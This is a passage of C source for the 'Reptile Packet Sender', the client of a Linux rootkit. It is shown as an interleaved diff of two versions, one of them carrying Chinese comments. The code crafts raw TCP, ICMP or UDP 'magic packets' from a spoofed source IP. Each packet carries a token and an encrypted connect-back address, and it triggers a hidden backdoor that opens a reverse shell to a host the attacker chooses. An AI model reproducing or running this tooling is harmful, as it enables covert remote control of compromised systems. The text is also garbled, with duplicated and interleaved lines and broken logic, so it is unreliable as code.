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@ -21,444 +21,457 @@
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#include "util.h"
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// Don't worry, it is gonna cahnged next version
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#define KEY 0x6de56d3b
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#define IPID 3429
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#define SEQ 15123
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#define WIN 9965
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struct pseudohdr
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{
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uint32_t saddr;
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uint32_t daddr;
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uint8_t zero;
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uint8_t protocol;
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uint16_t length;
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// 定义常量，这些值用于设置IP首部和TCP首部的字段
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#define KEY 0x6de56d3b // 加密密钥
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#define IPID 3429 // IP标识符
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#define SEQ 15123 // TCP序列号
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#define WIN 9965 // TCP窗口大小
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// 定义一个伪首部结构体，用于计算TCP和UDP数据包的校验和
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struct pseudohdr {
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uint32_t saddr; // 源IP地址
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uint32_t daddr; // 目的IP地址
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uint8_t zero; // 填充字段，总是0
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uint8_t protocol; // 协议类型，TCP或UDP
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uint16_t length; // 长度，TCP或UDP首部和数据的总长度
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};
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unsigned short csum(unsigned short *buf, int nwords)
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{
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unsigned long sum;
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unsigned short odd;
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// 计算校验和的函数，用于IP和TCP/UDP首部
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unsigned short csum(unsigned short* buf, int nwords) {
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unsigned long sum;
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unsigned short odd;
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for (sum = 0; nwords > 1; nwords-=2)
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sum += *buf++;
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// 将两个字节的校验和相加
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for (sum = 0; nwords > 1; nwords -= 2)
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sum += *buf++;
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if (nwords == 1) {
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odd = 0;
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*((unsigned char *)&odd) = *(unsigned char *)buf;
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sum += odd;
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}
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// 如果有奇数个字节，将最后一个字节加入校验和
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if (nwords == 1) {
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odd = 0;
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*((unsigned char*)&odd) = *(unsigned char*)buf;
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sum += odd;
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}
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sum = (sum >> 16) + (sum & 0xffff);
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sum += (sum >> 16);
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// 将校验和折叠成16位
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sum = (sum >> 16) + (sum & 0xffff);
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sum += (sum >> 16);
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return ~sum;
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// 返回反码
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return ~sum;
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}
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int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len)
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{
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int socktcp, nbytes, ret = EXIT_FAILURE;
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unsigned int pckt_tam, plen;
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char *buffer;
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struct iphdr *iph;
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struct tcphdr *tcph;
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struct sockaddr_in s;
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socklen_t optval = 1;
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struct pseudohdr psh;
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char *pseudo_packet;
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pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
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if (!(buffer = (char *)malloc(pckt_tam))) {
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fatal("on allocating buffer memory");
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return ret;
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}
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memset(buffer, '\0', pckt_tam);
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iph = (struct iphdr *)buffer;
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tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr));
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if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
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fatal("on creating TCP socket");
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goto free_buffer;
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}
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if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
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fatal("on setsockopt");
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goto close_socket;
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}
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memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len);
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->id = htons(IPID);
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iph->ttl = 255;
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iph->protocol = IPPROTO_TCP;
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iph->tot_len = pckt_tam;
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iph->saddr = inet_addr(srcip);
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iph->daddr = inet_addr(dstip);
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//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr));
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iph->check = csum((unsigned short *)buffer, iph->tot_len);
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tcph->source = htons(srcport);
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tcph->dest = htons(dstport);
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tcph->seq = 0x0;
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tcph->ack_seq = 0;
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tcph->doff = 5;
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tcph->fin = 0;
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tcph->syn = 1;
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tcph->rst = 0;
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tcph->psh = 0;
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tcph->ack = 0;
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tcph->urg = 0;
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tcph->window = htons(WIN);
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tcph->urg_ptr = 0;
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tcph->check = 0;
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psh.saddr = inet_addr(srcip);
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psh.daddr = inet_addr(dstip);
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psh.zero = 0;
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psh.protocol = IPPROTO_TCP;
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psh.length = htons(sizeof(struct tcphdr) + data_len);
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plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
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if ((pseudo_packet = malloc(plen)) == NULL) {
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fatal("on malloc");
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goto close_socket;
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}
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bzero(pseudo_packet, plen);
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memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
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tcph->seq = htons(SEQ);
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tcph->check = 0;
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memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
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tcph->check = csum((unsigned short *)pseudo_packet, plen);
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s.sin_family = AF_INET;
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s.sin_port = htons(dstport);
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s.sin_addr.s_addr = inet_addr(dstip);
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if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
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fatal("on sending package");
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if (nbytes > 0) {
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fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
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ret = EXIT_SUCCESS;
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}
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free(pseudo_packet);
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// 发送TCP数据包的函数
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int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
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// 变量声明
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int socktcp, nbytes, ret = EXIT_FAILURE;
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unsigned int pckt_tam, plen;
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char* buffer;
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struct iphdr* iph;
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struct tcphdr* tcph;
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struct sockaddr_in s;
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socklen_t optval = 1;
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struct pseudohdr psh;
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char* pseudo_packet;
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// 计算数据包总长度
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pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
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// 分配内存
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if (!(buffer = (char*)malloc(pckt_tam))) {
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fatal("on allocating buffer memory");
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return ret;
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}
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// 初始化内存
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memset(buffer, '\0', pckt_tam);
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// 填充IP首部
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iph = (struct iphdr*)buffer;
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tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->id = htons(IPID);
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iph->ttl = 255;
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iph->protocol = IPPROTO_TCP;
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iph->tot_len = pckt_tam;
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iph->saddr = inet_addr(srcip);
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iph->daddr = inet_addr(dstip);
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iph->check = csum((unsigned short*)buffer, iph->tot_len);
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// 填充TCP首部
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tcph->source = htons(srcport);
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tcph->dest = htons(dstport);
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tcph->seq = 0x0;
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tcph->ack_seq = 0;
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tcph->doff = 5;
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tcph->fin = 0;
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tcph->syn = 1;
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tcph->rst = 0;
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tcph->psh = 0;
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tcph->ack = 0;
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tcph->urg = 0;
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tcph->window = htons(WIN);
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tcph->urg_ptr = 0;
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tcph->check = 0;
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// 构建伪首部，用于计算TCP校验和
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psh.saddr = inet_addr(srcip);
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psh.daddr = inet_addr(dstip);
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psh.zero = 0;
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psh.protocol = IPPROTO_TCP;
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psh.length = htons(sizeof(struct tcphdr) + data_len);
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// 计算TCP首部和数据的校验和
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plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
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if ((pseudo_packet = malloc(plen)) == NULL) {
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fatal("on malloc");
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goto close_socket;
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}
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bzero(pseudo_packet, plen);
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memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
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tcph->seq = htons(SEQ);
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tcph->check = 0;
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memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
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tcph->check = csum((unsigned short*)pseudo_packet, plen);
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// 设置目的地址和端口
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s.sin_family = AF_INET;
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s.sin_port = htons(dstport);
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s.sin_addr.s_addr = inet_addr(dstip);
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// 发送数据包
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if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
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fatal("on sending package");
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// 清理资源
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if (nbytes > 0) {
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fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
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ret = EXIT_SUCCESS;
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}
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free(pseudo_packet);
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close_socket:
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close(socktcp);
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close(socktcp);
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free_buffer:
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free(buffer);
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return ret;
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free(buffer);
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return ret;
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}
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int icmp(char *srcip, char *dstip, char *data, unsigned int data_len)
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{
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int sockicmp, nbytes, ret = EXIT_FAILURE;
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unsigned int pckt_tam;
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char *buffer;
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struct iphdr *iph;
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struct icmphdr *icmp;
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struct sockaddr_in s;
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socklen_t optval = 1;
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pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len);
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if (!(buffer = (char *)malloc(pckt_tam))) {
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fatal("on allocating buffer memory");
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return ret;
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}
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memset(buffer, '\0', pckt_tam);
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iph = (struct iphdr *)buffer;
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icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));
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if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
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fatal("in creating raw ICMP socket");
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goto free_buffer;
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}
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if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
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fatal("in setsockopt");
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goto close_socket;
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}
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memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len);
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->id = htons(IPID);
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iph->ttl = 255;
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iph->protocol = IPPROTO_ICMP;
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iph->saddr = inet_addr(srcip);
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iph->daddr = inet_addr(dstip);
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iph->tot_len = pckt_tam;
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iph->check = csum((unsigned short *)buffer, iph->tot_len);
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icmp->type = 8;
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icmp->code = ICMP_ECHO;
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icmp->checksum = 0;
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icmp->un.echo.id = htons(WIN);
|
|
|
|
|
icmp->un.echo.sequence = htons(SEQ);
|
|
|
|
|
|
|
|
|
|
icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len);
|
|
|
|
|
|
|
|
|
|
s.sin_family = AF_INET;
|
|
|
|
|
s.sin_addr.s_addr = inet_addr(dstip);
|
|
|
|
|
|
|
|
|
|
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
|
|
|
|
|
fatal("on sending package");
|
|
|
|
|
|
|
|
|
|
if (nbytes > 0) {
|
|
|
|
|
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
|
|
|
|
|
ret = EXIT_SUCCESS;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 发送ICMP数据包的函数
|
|
|
|
|
int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
|
|
|
|
|
// 变量声明
|
|
|
|
|
int sockicmp, nbytes, ret = EXIT_FAILURE;
|
|
|
|
|
unsigned int pckt_tam;
|
|
|
|
|
char* buffer;
|
|
|
|
|
struct iphdr* iph;
|
|
|
|
|
struct icmphdr* icmp;
|
|
|
|
|
struct sockaddr_in s;
|
|
|
|
|
socklen_t optval = 1;
|
|
|
|
|
|
|
|
|
|
// 计算数据包总长度
|
|
|
|
|
pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
|
|
|
|
|
|
|
|
|
|
// 分配内存
|
|
|
|
|
if (!(buffer = (char*)malloc(pckt_tam))) {
|
|
|
|
|
fatal("on allocating buffer memory");
|
|
|
|
|
return ret;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 初始化内存
|
|
|
|
|
memset(buffer, '\0', pckt_tam);
|
|
|
|
|
|
|
|
|
|
// 填充IP首部
|
|
|
|
|
iph = (struct iphdr*)buffer;
|
|
|
|
|
icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
|
|
|
|
|
iph->ihl = 5;
|
|
|
|
|
iph->version = 4;
|
|
|
|
|
iph->tos = 0;
|
|
|
|
|
iph->id = htons(IPID);
|
|
|
|
|
iph->ttl = 255;
|
|
|
|
|
iph->protocol = IPPROTO_ICMP;
|
|
|
|
|
iph->saddr = inet_addr(srcip);
|
|
|
|
|
iph->daddr = inet_addr(dstip);
|
|
|
|
|
iph->tot_len = pckt_tam;
|
|
|
|
|
iph->check = csum((unsigned short*)buffer, iph->tot_len);
|
|
|
|
|
|
|
|
|
|
// 填充ICMP首部
|
|
|
|
|
icmp->type = 8; // ICMP类型：回显请求
|
|
|
|
|
icmp->code = ICMP_ECHO; // ICMP代码：回显请求
|
|
|
|
|
icmp->checksum = 0; // 清零校验和字段
|
|
|
|
|
icmp->un.echo.id = htons(WIN); // ICMP标识符
|
|
|
|
|
icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
|
|
|
|
|
|
|
|
|
|
// 计算ICMP首部和数据的校验和
|
|
|
|
|
icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
|
|
|
|
|
|
|
|
|
|
// 设置目的地址
|
|
|
|
|
s.sin_family = AF_INET;
|
|
|
|
|
s.sin_addr.s_addr = inet_addr(dstip);
|
|
|
|
|
|
|
|
|
|
// 发送数据包
|
|
|
|
|
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
|
|
|
|
|
fatal("on sending package");
|
|
|
|
|
|
|
|
|
|
// 清理资源
|
|
|
|
|
if (nbytes > 0) {
|
|
|
|
|
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
|
|
|
|
|
ret = EXIT_SUCCESS;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
close_socket:
|
|
|
|
|
close(sockicmp);
|
|
|
|
|
close(sockicmp);
|
|
|
|
|
free_buffer:
|
|
|
|
|
free(buffer);
|
|
|
|
|
return ret;
|
|
|
|
|
free(buffer);
|
|
|
|
|
return ret;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len)
|
|
|
|
|
{
|
|
|
|
|
int sockudp, nbytes, ret = EXIT_FAILURE;
|
|
|
|
|
unsigned int pckt_tam, plen;
|
|
|
|
|
char *buffer;
|
|
|
|
|
struct iphdr *iph;
|
|
|
|
|
struct udphdr *udph;
|
|
|
|
|
struct sockaddr_in s;
|
|
|
|
|
socklen_t optval = 1;
|
|
|
|
|
struct pseudohdr psh;
|
|
|
|
|
char *pseudo_packet;
|
|
|
|
|
|
|
|
|
|
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
|
|
|
|
|
|
|
|
|
|
if (!(buffer = (char *)malloc(pckt_tam))) {
|
|
|
|
|
fatal("on allocating buffer memory");
|
|
|
|
|
return ret;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
memset(buffer, '\0', pckt_tam);
|
|
|
|
|
|
|
|
|
|
iph = (struct iphdr *)buffer;
|
|
|
|
|
udph = (struct udphdr *)(buffer + sizeof(struct iphdr));
|
|
|
|
|
|
|
|
|
|
if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) {
|
|
|
|
|
fatal("on creating UDP socket");
|
|
|
|
|
goto free_buffer;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
|
|
|
|
|
fatal("on setsockopt");
|
|
|
|
|
goto close_socket;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len);
|
|
|
|
|
|
|
|
|
|
iph->ihl = 5;
|
|
|
|
|
iph->version = 4;
|
|
|
|
|
iph->tos = 0;
|
|
|
|
|
iph->id = htons(IPID);
|
|
|
|
|
iph->ttl = 255;
|
|
|
|
|
iph->protocol = IPPROTO_UDP;
|
|
|
|
|
iph->tot_len = pckt_tam;
|
|
|
|
|
iph->saddr = inet_addr(srcip);
|
|
|
|
|
iph->daddr = inet_addr(dstip);
|
|
|
|
|
iph->check = csum((unsigned short *)buffer, iph->tot_len);
|
|
|
|
|
|
|
|
|
|
udph->source = htons(srcport);
|
|
|
|
|
udph->dest = htons(dstport);
|
|
|
|
|
udph->len = htons(sizeof(struct udphdr) + data_len);
|
|
|
|
|
udph->check = 0;
|
|
|
|
|
|
|
|
|
|
psh.saddr = inet_addr(srcip);
|
|
|
|
|
psh.daddr = inet_addr(dstip);
|
|
|
|
|
psh.zero = 0;
|
|
|
|
|
psh.protocol = IPPROTO_UDP;
|
|
|
|
|
psh.length = htons(sizeof(struct udphdr) + data_len);
|
|
|
|
|
|
|
|
|
|
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
|
|
|
|
|
|
|
|
|
|
if ((pseudo_packet = malloc(plen)) == NULL) {
|
|
|
|
|
fatal("on malloc");
|
|
|
|
|
goto close_socket;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
bzero(pseudo_packet, plen);
|
|
|
|
|
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
|
|
|
|
|
|
|
|
|
|
udph->check = 0;
|
|
|
|
|
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len);
|
|
|
|
|
udph->check = csum((unsigned short *)pseudo_packet, plen);
|
|
|
|
|
|
|
|
|
|
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check));
|
|
|
|
|
|
|
|
|
|
s.sin_family = AF_INET;
|
|
|
|
|
s.sin_port = htons(dstport);
|
|
|
|
|
s.sin_addr.s_addr = inet_addr(dstip);
|
|
|
|
|
|
|
|
|
|
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
|
|
|
|
|
fatal("on sending package");
|
|
|
|
|
|
|
|
|
|
if (nbytes > 0) {
|
|
|
|
|
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes);
|
|
|
|
|
ret = EXIT_SUCCESS;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
free(pseudo_packet);
|
|
|
|
|
// 发送UDP数据包的函数
|
|
|
|
|
int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
|
|
|
|
|
// 声明变量
|
|
|
|
|
int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket，发送的字节数，返回值
|
|
|
|
|
unsigned int pckt_tam, plen; // 数据包长度，伪包长度
|
|
|
|
|
char* buffer; // 缓冲区
|
|
|
|
|
struct iphdr* iph; // IP头指针
|
|
|
|
|
struct udphdr* udph; // UDP头指针
|
|
|
|
|
struct sockaddr_in s; // 地址结构
|
|
|
|
|
socklen_t optval = 1; // 设置socket选项的值
|
|
|
|
|
struct pseudohdr psh; // 伪包头结构
|
|
|
|
|
char* pseudo_packet; // 伪包数据指针
|
|
|
|
|
|
|
|
|
|
// 计算数据包总长度
|
|
|
|
|
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
|
|
|
|
|
|
|
|
|
|
// 分配内存
|
|
|
|
|
if (!(buffer = (char*)malloc(pckt_tam))) {
|
|
|
|
|
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
|
|
|
|
|
return ret; // 返回失败
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 初始化内存
|
|
|
|
|
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
|
|
|
|
|
|
|
|
|
|
// 填充IP首部
|
|
|
|
|
iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
|
|
|
|
|
udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
|
|
|
|
|
iph->ihl = 5; // IP头长度
|
|
|
|
|
iph->version = 4; // IP版本
|
|
|
|
|
iph->tos = 0; // 服务类型
|
|
|
|
|
iph->id = htons(IPID); // 标识符
|
|
|
|
|
iph->ttl = 255; // 生命周期
|
|
|
|
|
iph->protocol = IPPROTO_UDP; // 协议类型
|
|
|
|
|
iph->tot_len = pckt_tam; // 总长度
|
|
|
|
|
iph->saddr = inet_addr(srcip); // 源IP地址
|
|
|
|
|
iph->daddr = inet_addr(dstip); // 目的IP地址
|
|
|
|
|
iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
|
|
|
|
|
|
|
|
|
|
// 填充UDP首部
|
|
|
|
|
udph->source = htons(srcport); // 源端口
|
|
|
|
|
udph->dest = htons(dstport); // 目的端口
|
|
|
|
|
udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
|
|
|
|
|
udph->check = 0; // 校验和初始化为0
|
|
|
|
|
|
|
|
|
|
// 创建伪包头
|
|
|
|
|
psh.saddr = inet_addr(srcip); // 源IP地址
|
|
|
|
|
psh.daddr = inet_addr(dstip); // 目的IP地址
|
|
|
|
|
psh.zero = 0; // 填充0
|
|
|
|
|
psh.protocol = IPPROTO_UDP; // 协议类型
|
|
|
|
|
psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
|
|
|
|
|
|
|
|
|
|
// 计算伪包长度
|
|
|
|
|
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
|
|
|
|
|
|
|
|
|
|
// 分配伪包内存
|
|
|
|
|
if ((pseudo_packet = malloc(plen)) == NULL) {
|
|
|
|
|
fatal("on malloc"); // 分配失败时调用fatal函数
|
|
|
|
|
goto close_socket; // 跳转到关闭socket的标签
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 初始化伪包内存
|
|
|
|
|
bzero(pseudo_packet, plen); // 清零伪包
|
|
|
|
|
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
|
|
|
|
|
|
|
|
|
|
// 计算UDP校验和
|
|
|
|
|
udph->check = 0; // 校验和重置为0
|
|
|
|
|
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
|
|
|
|
|
udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
|
|
|
|
|
|
|
|
|
|
// 设置目的地址
|
|
|
|
|
s.sin_family = AF_INET; // 地址族
|
|
|
|
|
s.sin_port = htons(dstport); // 目的端口
|
|
|
|
|
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
|
|
|
|
|
|
|
|
|
|
// 发送数据包
|
|
|
|
|
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
|
|
|
|
|
fatal("on sending package"); // 发送失败时调用fatal函数
|
|
|
|
|
|
|
|
|
|
// 检查发送的字节数
|
|
|
|
|
if (nbytes > 0) {
|
|
|
|
|
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
|
|
|
|
|
ret = EXIT_SUCCESS; // 设置返回值为成功
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 释放伪包内存
|
|
|
|
|
free(pseudo_packet);
|
|
|
|
|
close_socket:
|
|
|
|
|
close(sockudp);
|
|
|
|
|
// 关闭socket
|
|
|
|
|
close(sockudp);
|
|
|
|
|
free_buffer:
|
|
|
|
|
free(buffer);
|
|
|
|
|
return ret;
|
|
|
|
|
// 释放缓冲区内存
|
|
|
|
|
free(buffer);
|
|
|
|
|
return ret; // 返回结果
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void usage(char *argv0)
|
|
|
|
|
void usage(char* argv0)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
|
|
|
|
|
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
|
|
|
|
|
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
|
|
|
|
|
fprintf(stderr, "-t\tTarget\n");
|
|
|
|
|
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
|
|
|
|
|
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
|
|
|
|
|
fprintf(stderr, "-s\tSource IP address to spoof\n");
|
|
|
|
|
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
|
|
|
|
|
fprintf(stderr, "-l\tHost to receive the reverse shell\n");
|
|
|
|
|
fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
|
|
|
|
|
fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n");
|
|
|
|
|
exit(1);
|
|
|
|
|
// 打印使用说明
|
|
|
|
|
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
|
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fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
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fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
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fprintf(stderr, "-t\tTarget\n");
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fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
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fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
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fprintf(stderr, "-s\tSource IP address to spoof\n");
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fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
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fprintf(stderr, "-l\tHost to receive the reverse shell\n");
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fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
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fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
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exit(1); // 退出程序
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}
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int main(int argc, char **argv)
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int main(int argc, char** argv)
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{
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int opt, dstport, srcport, len, crypt_len;
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char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port,
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*token, *data;
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dstport = srcport = 0;
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prot = dstip = srcip = connect_back_host = connect_back_port = token =
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NULL;
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while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
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switch (opt) {
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case 'x':
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prot = optarg;
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if (strcmp(prot, "icmp") == 0 ||
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strcmp(prot, "ICMP") == 0) {
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if (strcmp(prot, "udp") == 0 ||
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strcmp(prot, "UDP") == 0) {
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if (strcmp(prot, "tcp") == 0 ||
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strcmp(prot, "TCP") == 0) {
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printf("%s wrong "
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"protocol\n",
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bad);
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exit(-1);
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}
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}
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}
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break;
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case 't':
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if (strlen(optarg) > 15) {
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printf("%s wrong IP address\n", bad);
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exit(-1);
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}
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dstip = optarg;
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break;
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case 'l':
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if (strlen(optarg) > 15) {
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printf("%s wrong IP address\n", bad);
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exit(-1);
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}
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connect_back_host = optarg;
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break;
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case 'p':
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if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
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printf("%s wrong port\n", bad);
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exit(-1);
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}
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connect_back_port = optarg;
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break;
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case 'r':
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if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
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printf("%s wrong port\n", bad);
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exit(-1);
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}
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dstport = atoi(optarg);
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break;
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case 's':
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if (strlen(optarg) > 15) {
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printf("%s wrong IP address\n", bad);
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exit(-1);
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}
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srcip = optarg;
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break;
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case 'q':
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if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
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printf("%s wrong port\n", bad);
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exit(-1);
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}
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srcport = atoi(optarg);
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break;
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case 'k':
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if (strlen(optarg) > 16 || strlen(optarg) < 5) {
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printf("%s wrong size of token\n", bad);
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exit(-1);
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}
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token = optarg;
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break;
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default:
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usage(argv[0]);
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break;
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}
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}
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if (prot == NULL || dstip == NULL || srcip == NULL ||
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connect_back_host == NULL || connect_back_port == NULL ||
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token == NULL) {
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usage(argv[0]);
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}
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if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
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strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
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if (srcport == 0 || dstport == 0)
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usage(argv[0]);
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}
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len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
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crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
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data = (char *)malloc(len);
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if (!data)
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fatal("malloc");
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bzero(data, len);
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snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
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do_encrypt(data + strlen(token) + 1, crypt_len, KEY);
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// printf("data size: %d\n", len);
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if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
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tcp(srcip, dstip, srcport, dstport, data, len);
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} else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
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icmp(srcip, dstip, data, len);
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} else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
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udp(srcip, dstip, srcport, dstport, data, len);
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}
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free(data);
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return EXIT_SUCCESS;
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}
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// 声明变量
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int opt, dstport, srcport, len, crypt_len;
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char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
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* token, * data;
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// 初始化端口变量
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dstport = srcport = 0;
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// 初始化字符串指针
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prot = dstip = srcip = connect_back_host = connect_back_port = token =
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NULL;
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// 解析命令行参数
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while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
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switch (opt) {
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case 'x':
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// 设置协议
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prot = optarg;
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// 检查协议是否合法
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if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
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if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
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if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
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printf("%s wrong protocol\n", bad);
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exit(-1);
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}
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}
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}
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break;
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case 't':
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// 设置目标IP
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if (strlen(optarg) > 15) {
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printf("%s wrong IP address\n", bad);
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exit(-1);
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}
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dstip = optarg;
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break;
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case 'l':
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// 设置连接回显IP
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if (strlen(optarg) > 15) {
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printf("%s wrong IP address\n", bad);
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exit(-1);
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}
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connect_back_host = optarg;
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break;
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case 'p':
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// 设置连接回显端口
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if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
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printf("%s wrong port\n", bad);
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exit(-1);
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}
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connect_back_port = optarg;
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break;
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case 'r':
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// 设置远程端口
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if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
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printf("%s wrong port\n", bad);
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exit(-1);
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}
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dstport = atoi(optarg);
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break;
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case 's':
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// 设置源IP
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if (strlen(optarg) > 15) {
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printf("%s wrong IP address\n", bad);
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exit(-1);
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}
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srcip = optarg;
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break;
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case 'q':
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// 设置源端口
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if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
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printf("%s wrong port\n", bad);
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exit(-1);
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}
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srcport = atoi(optarg);
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break;
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case 'k':
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// 设置令牌
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if (strlen(optarg) > 16 || strlen(optarg) < 5) {
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printf("%s wrong size of token\n", bad);
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exit(-1);
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}
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token = optarg;
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break;
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default:
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// 打印使用说明
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usage(argv[0]);
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break;
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}
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}
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// 检查必要的参数是否已设置
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if (prot == NULL || dstip == NULL || srcip == NULL ||
